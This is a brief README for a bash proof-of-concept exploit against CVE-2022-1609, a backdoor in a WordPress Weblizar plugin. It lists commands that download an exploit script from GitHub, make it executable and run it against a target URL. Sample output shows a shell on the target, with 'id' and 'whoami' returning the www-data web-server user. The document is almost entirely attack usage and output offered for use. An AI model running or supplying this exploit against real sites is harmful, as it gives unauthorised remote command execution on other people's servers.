Bash poc for CVE-2022-1609 WordPress Weblizar Backdoor
wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh
chmod +x exploit.sh
./exploit.sh
NullBrunk$ ./exploit.sh http://127.0.0.1:8080
[+] Targeting http://127.0.0.1:8080
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data